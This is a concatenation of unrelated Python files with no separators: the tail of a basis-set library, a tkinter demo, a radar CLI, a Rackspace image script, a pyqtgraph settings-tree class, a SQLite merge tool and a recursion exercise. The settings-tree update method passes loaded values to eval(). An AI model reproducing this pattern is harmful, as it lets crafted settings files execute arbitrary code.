    # check and then actually writing out), but if that happens, you are probably using
    # this library wrong
    #
    # Note that the metadata file may exist already. That is ok
    ######################################################################################
    if os.path.exists(component_file_path):
        raise RuntimeError("Component json file {} already exists".format(component_file_path))

    #############################################
    # Actually create all the files
    #############################################

    # First, create the subdirectory
    subdir_path = os.path.join(data_dir, subdir)
    if not os.path.exists(subdir_path):
        os.makedirs(subdir_path)

    write_json_basis(component_file_path, bs_data)

    # Do all the rest
    add_from_components([component_file_path], data_dir, subdir, file_base, name, family, role, description, version,
                        revision_description)

def add_basis(bs_file,
              data_dir,
              subdir,
              file_base,
              name,
              family,
              role,
              description,
              version,
              revision_description,
              data_source,
              refs=None,
              file_fmt=None):
    '''
    Add a basis set to this library

    This takes in a single file containing the basis set is some format, parses it, and
    create the component, element, and table basis set files in the given data_dir (and subdir).
    The metadata file for the basis is created if it doesn't exist, and the main metadata file is
    also updated.

    Parameters
    ----------
    bs_file : str
        Path to the file with formatted basis set information
    data_dir : str
        Path to the data directory to add the data to
    subdir : str
        Subdirectory of the data directory to add the basis set to
    file_base : str
        Base name for new files
    name : str
        Name of the basis set
    family : str
        Family to which this basis set belongs
    role : str
        Role of the basis set (orbital, etc)
    description : str
        Description of the basis set
    version : str
        Version of the basis set
    revision_description : str
        Description of this version of the basis set
    data_source : str
        Description of where this data came from
    refs : dict or str
        Mapping of references to elements. This can be a dictionary with a compressed
        string of elements as keys and a list of reference strings as values.
        For example, {'H,Li-B,Kr': ['kumar2018a']}

        If a list or string is passed, then those reference(s) will be used for
        all elements.

        Elements that exist in the file but do not have a reference are given the
        usual 'noref' extension and the references entry is empty.
    file_fmt : str
        Format of the input basis data (None = autodetect)
    '''

    # Read the basis set data into a component file, and add the description
    bs_data = read_formatted_basis_file(bs_file, file_fmt, validate=True, as_component=True)
    # The rest is done by the dict routine
    add_basis_from_dict(bs_data, data_dir, subdir, file_base, name, family, role, description, version,
                        revision_description, data_source, refs)


from tkinter import *
from tkinter import ttk
import tkinter.messagebox as tkmb
root=Tk()
root.title("create dynamic elements using dropdown")
root.geometry("900x400")

gui_elements=["label","button","dropdown"]

dropdown=ttk.Combobox(root,state="readonly",values=gui_elements)
dropdown.pack()

class createElements:
    def __init__(self):
        print("this class is used to create dynamuc effect")

    def createlabel(self):
        label1=Label(root,text="a new label is created using class",fg="red")
        label1.pack()

    def createbutton(self):
        btn=Button(root,text="a new button is created using class",command=self.displaymsg)
        btn.pack()

    def createdrop(self):
        drop_var=[1,2,3]
        drop=ttk.Combobox(root,state="readonly",values=drop_var)
        drop.pack()

    def choose(self):
        global dropdown
        element=dropdown.get()
        if element=="label":
            self.createlabel()
        elif element=="button":
            self.createbutton()
        elif element=="dropdown":
            self.createdrop()

    def displaymsg(self):
        tkmb.showinfo("info","you created a buttion using class")

obj=createElements()

btn=Button(root,text="click",command=obj.choose)
btn.pack(padx=10,pady=10)

root.mainloop()


"""Command-line interface."""
import argparse

from pynwsradar import Nexrad

def create_radar(station, output, layer, num) -> None:
    """Create radar image."""
    radar = Nexrad(station=station)
    radar.update()
    assert radar.layers
    layer = radar.layers[f"{station}_{layer}"]
    layer.update_image(num=num)
    layer.save_image(output)

def main():
    """Make radar imgae with commandline."""
    parser = argparse.ArgumentParser(description="Create NEXRAD qradar image.")
    parser.add_argument("station")
    parser.add_argument("file", help="output file name")
    parser.add_argument("--layer", default="bref_raw")
    parser.add_argument("--num", type=int, default=1, help="number of frames")
    args = parser.parse_args()
    create_radar(args.station, args.file, args.layer, args.num)


from __future__ import print_function

import os
import six
import pyrax

pyrax.set_setting("identity_type", "rackspace")
creds_file = os.path.expanduser("~/.rackspace_cloud_credentials")
pyrax.set_credential_file(creds_file)
imgs = pyrax.images
imgs.http_log_debug = True

print("Listing images with pending status...")
images = imgs.list(visibility="shared", member_status="pending")

if not images:
    print("No pending images found")
    exit()

for pos, image in enumerate(images):
    new_status = None
    print("[%s] - %s" % (pos, image.name))
    choice = six.moves.input("Would you like to accept, reject or skip? "
            "('a', 'r', or 's'): ")
    if choice == 'a':
        new_status = 'accepted'
    elif choice == 'r':
        new_status = 'rejected'

    if new_status is not None:
        print("[%s] - %s : Updating status to %s" % (pos, image.name, new_status))
        imgs.update_image_member(image.id, new_status)
        print("[%s] - %s : has been updated" % (pos, image.name))
    else:
        print("[%s] - %s : Skipping update" % (pos, image.name))


# -*- coding: utf-8 -*-
"""
@author: jaxankey
@author: jayich

This object was borrowed from the spinmob project (see https://github.com/Spinmob/spinmob).

I modified it slightly to make it work with this project
"""
import pyqtgraph as _pg
#import spinmob as _spinmob
#_d = _spinmob.data
#import os as _os

class egg_TreeDictionary(_pg.parametertree.ParameterTree):

    def __init__(self, default_save_path="settings.txt", show_header=False):
        """
        Simplified / Modified version of pyqtgraph's ParameterTree() object,
        designed to store databox-ready header information and settings.

        Main changes:
         * simplified methods for setting parameters and getting them.
         * all parameter names must not have self.naughty characters.
         * default_save_path is where the settings will be saved / loaded
           from when calling self.save() and self.load(). The settings
           file is just a databox with no data, and you can use other
           databox files.

        Note: because of some weirdness in how things are defined, I had to
        write a special self.connect_...() functions for the tree

        Note2: For the 'list' type, currently you must specify a list of strings.
        Otherwise there will be confusion upon loading.
        """
        _pg.parametertree.ParameterTree.__init__(self, showHeader=show_header)
        self.naughty            = [' ', '\t', '\n', '\r', ',', ';']
        self.default_save_path  = default_save_path

    def __repr__(self):
        """
        How do display this object.
        """
        s = "\nTreeDictionary() -> "+str(self.default_save_path)+"\n"

        for k in self.get_dictionary()[0]:
            s = s + "  "+k+" = "+repr(self[k])+"\n"

        return s

    def connect_any_signal_changed(self, function):
        """
        Connects the "anything changed" signal for all of the tree to the
        specified function.
        """
        # loop over all top level parameters
        for i in range(self.topLevelItemCount()):

            # make sure there is only one connection!
            self.topLevelItem(i).param.sigTreeStateChanged.connect(function, type=_pg.QtCore.Qt.UniqueConnection)

        return self

    def connect_signal_changed(self, name, function):
        """
        Connects a changed signal from the parameters of the specified name
        to the supplied function.
        """
        x = self._find_parameter(name.split("/"))

        # if it pooped.
        if x==None: return None

        # connect it
        x.sigValueChanged.connect(function)

        return self

    def _find_parameter(self, name_list, create_missing=False, quiet=False):
        """
        Tries to find and return the parameter of the specified name. The name
        should be of the form

        "branch1/branch2/parametername"

        Setting create_missing=True means if it doesn't find a branch it
        will create one.

        Setting quiet=True will suppress error messages (for checking)
        """

        # make a copy so this isn't destructive to the supplied list
        s = list(name_list)

        # if the length is zero, return the root widget
        if len(s)==0: return self

        # the first name must be treated differently because it is
        # the main widget, not a branch
        r = self._clean_up_name(s.pop(0))

        # search for the root name
        result = self.findItems(r, _pg.QtCore.Qt.MatchCaseSensitive | _pg.QtCore.Qt.MatchFixedString)

        # if it pooped and we're not supposed to create it, quit
        if len(result) == 0 and not create_missing:
            if not quiet: print(("ERROR: Could not find '"+r+"'"))
            return None

        # otherwise use the first value
        elif len(result): x = result[0].param

        # otherwise, if there are more names in the list,
        # create the branch and keep going
        else:
            x = _pg.parametertree.Parameter.create(name=r, type='group', children=[])
            self.addParameters(x)

        # loop over the remaining names, and use a different search method
        for n in s:

            # first clean up
            n = self._clean_up_name(n)

            # only allow the parameter search if x is a branch
            if not x.isType('group'):
                if not quiet: print(("ERROR: '"+x.name()+"' is not a branch and can't be searched."))
                return None

            # try to search for the name
            try: x = x.param(n)

            # name doesn't exist
            except:

                # if we're supposed to, create the new branch
                if create_missing: x = x.addChild(_pg.parametertree.Parameter.create(name=n, type='group', children=[]))

                # otherwise poop out
                else:
                    if not quiet: print(("ERROR: Could not find '"+n+"' in '"+x.name()+"'"))
                    return None

        # return the last one we found / created.
        return x

    def add_button(self, name, **kwargs):
        """
        Adds (and returns) a limited-functionality button of the
        specified location. The clicked signal still lives in
        button.signal_clicked, though.
        """

        # first clean up the name
        name = self._clean_up_name(name)

        # split into (presumably existing) branches and parameter
        s = name.split('/')

        # make sure it doesn't already exist
        if not self._find_parameter(s, quiet=True) == None:
            print(("Error: '"+name+"' already exists."))
            return None

        # get the leaf name off the list.
        p = self._clean_up_name(s.pop(-1))

        # create / get the branch on which to add the leaf
        b = self._find_parameter(s, create_missing=True)

        # quit out if it pooped
        if b == None: return None

        # create the leaf object
        button = _pg.parametertree.Parameter.create(name=p, type='action', **kwargs)

        # add it to the tree (different methods for root)
        if b == self: b.addParameters(button)
        else:                 b.addChild(button)

        # modify the existing class to fit our conventions
        button.signal_clicked = button.sigActivated

        return button

    def _clean_up_name(self, name):
        """
        Cleans up the name according to the rules specified in this exact
        function. Uses self.naughty, a list of naughty characters.
        """
        for n in self.naughty: name = name.replace(n, '_')
        return name

    def add_parameter(self, name='test', value='42', **kwargs):
        """
        Adds a parameter "leaf" to the tree.

        The name should be a string of the form

        "branch1/branch2/parametername"

        and will be nested as indicated. The value should match the type
        (the default type is 'str'). More keyword arguments can be used.
        See pyqtgraph ParameterTree for more info.

        Here are the other default kwargs:
            type     = 'str'
            values   = not used  # used for 'list' type
            step     = 1         # step size of incrementing numbers
            limits   = not used  # used to limit numerical values
            default  = not used  # used to set the default numerical value
            siPrefix = False     # used for displaying units on numbers
            suffix   = not used  # used to add units (awesome)

        """

        # update the default kwargs
        other_kwargs = dict(type = 'str')
        other_kwargs.update(kwargs)

        # split into (presumably existing) branches and parameter
        s = name.split('/')

        # make sure it doesn't already exist
        if not self._find_parameter(s, quiet=True) == None:
            print(("Error: '"+name+"' already exists."))
            return self

        # get the leaf name off the list.
        p = self._clean_up_name(s.pop(-1))

        # create / get the branch on which to add the leaf
        b = self._find_parameter(s, create_missing=True)

        # quit out if it pooped
        if b == None: return self

        # create the leaf object
        leaf = _pg.parametertree.Parameter.create(name=p, value=value, **other_kwargs)

        # add it to the tree (different methods for root)
        if b == self: b.addParameters(leaf)
        else:                 b.addChild(leaf)

        return self

    def _get_parameter_dictionary(self, base_name, dictionary, sorted_keys, parameter):
        """
        Recursively loops over the parameter's children, adding
        keys (starting with base_name) and values to the supplied dictionary
        (provided they do not have a value of None).
        """

        # assemble the key for this parameter
        k = base_name + "/" + parameter.name()

        # first add this parameter (if it has a value)
        if not parameter.value()==None:
            sorted_keys.append(k[1:])
            dictionary[sorted_keys[-1]] = parameter.value()

        # now loop over the children
        for p in parameter.children():
            self._get_parameter_dictionary(k, dictionary, sorted_keys, p)

    def get_dictionary(self):
        """
        Returns the list of parameters and a dictionary of values
        (good for writing to a databox header!)

        Return format is sorted_keys, dictionary
        """

        # output
        k = list()
        d = dict()

        # loop over the root items
        for i in range(self.topLevelItemCount()):

            # grab the parameter item, and start building the name
            x = self.topLevelItem(i).param

            # now start the recursive loop
            self._get_parameter_dictionary('', d, k, x)

        return k, d

    def get_value(self, name):
        """
        Returns the value of the parameter with the specified name.
        """
        # first clean up the name
        name = self._clean_up_name(name)

        # now get the parameter object
        x = self._find_parameter(name.split('/'))

        # quit if it pooped.
        if x == None: return None

        return x.value()

    __getitem__ = get_value

    def set_value(self, name, value, block_events=False, ignore_error=False):
        """
        Sets the variable of the supplied name to the supplied value.

        Setting block_events=True will temporarily block the widget from
        sending any signals when setting the value.
        """
        if block_events: self.block_events()

        # first clean up the name
        name = self._clean_up_name(name)

        # now get the parameter object
        x = self._find_parameter(name.split('/'), quiet=ignore_error)

        # quit if it pooped.
        if x == None: return None

        # for lists, make sure the value exists!!
        if x.type() in ['list']:
            if value in list(x.forward.keys()): x.setValue(value)
            else:                         x.setValue(list(x.forward.keys())[0])

        # otherwise just set the value
        else: x.setValue(value)

        if block_events: self.unblock_events()

        return self

    __setitem__ = set_value

    def _signal_changed_handler(self, *args):
        """
        If we're supposed to autosave when something changes,
        do so.
        """
        print("signal change!")
        #if self.autosave: self.save()

#    def save(self, path=None):
#        """
#        Saves all the parameters to a text file using the databox
#        functionality. If path=None, saves to self.default_save_path.
#
#        If the file doesn't exist, it will use hard-coded defaults.
#        """
#        if path==None: path = self.default_save_path
#
#        # make the databox object
#        d = _d.databox()
#
#        # get the keys and dictionary
#        keys, dictionary = self.get_dictionary()
#
#        # loop over the keys and add them to the databox header
#        for k in keys: d.insert_header(k, repr(dictionary[k]))
#
#        # save it
#        d.save_file(path, force_overwrite=True)
#
#    def load(self, path=None):
#        """
#        Loads all the parameters from a databox text file. If path=None,
#        loads from self.default_save_path.
#        """
#        if path==None: path = self.default_save_path
#
#        # make the databox object
#        d = _d.databox()
#
#        # only load if it exists
#        if _os.path.exists(path): d.load_file(path, header_only=True)
#        else:                     return None
#
#        # update the settings
#        self.update(d)
#        return self

    def update(self, d, ignore_errors=False):
        """
        Supply a dictionary or databox with a header of the same format
        and see what happens! (Hint: it updates the existing values.)
        """
        if not type(d) == dict: d = d.headers

        # loop over the dictionary and update
        for k in list(d.keys()):

            # for safety: by default assume it's a repr() with python code
            try:    self.set_value(k, eval(str(d[k])), ignore_error=ignore_errors)

            # if that fails try setting the value directly
            except: self.set_value(k, d[k], ignore_error=ignore_errors)

        return self


from argparse        import ArgumentParser, REMAINDER
from multiprocessing import cpu_count
from oswalk          import oswalk_flattens
from pathlib         import Path
from sqlite3         import connect

from pwformat import PWFormat
from oswalk   import oswalk_flatten

if __name__ == "__main__":
	parser = ArgumentParser(
                description='Merge SQLite3 databases into fewer databases'
	)
	#parser.add_argument("-v", "--verbosity", action="count", default=0)
	parser.add_argument('output', help="SQLite3 database output")
	parser.add_argument('input',  help="SQLite3 database input directory")
	args = parser.parse_args()

	input_dir = Path(args.input)
	output    = Path(args.output)
	if output.exists(): output.unlink()
	output.touch()

	with connect(str(output)) as outconn:
		outcur = outconn.cursor()
		outcur.execute(PWFormat().create)

		for infile in oswalk_flatten(input_dir):
			outcur.execute('''ATTACH ? as indb''', (str(infile), ))
			outcur.execute('''BEGIN''')
			outcur.execute('''INSERT INTO data SELECT * FROM indb.data''')
			outconn.commit()
			outcur.execute('''DETACH database indb''')

		outconn.commit()


"""
Problem Statement : Python program to find the length of a list using recursion
"""

"""
Problem Solution:
1. Define a recursive function which takes a list as the argument.
2. Initialize a variable to a list.
3. In the function, put the condition that if it is not the original list, return 0.
4. Otherwise, recursively call the function to find the length of the list.
5. Print the final result of the string.
6. Exit.
"""

def length(list1):
    if not list1:
        return 0
    return 1 + length(list1[1::2]) + length(list1[2::2])
list1 = [1, 2, "Python", {"Name" : "Steve Trevor"}]
print ("Length of the list is:", length(list1))

7. Python Programs with Recursions/16_python_program_to_find_the_length_of_a_list_using_recursion.py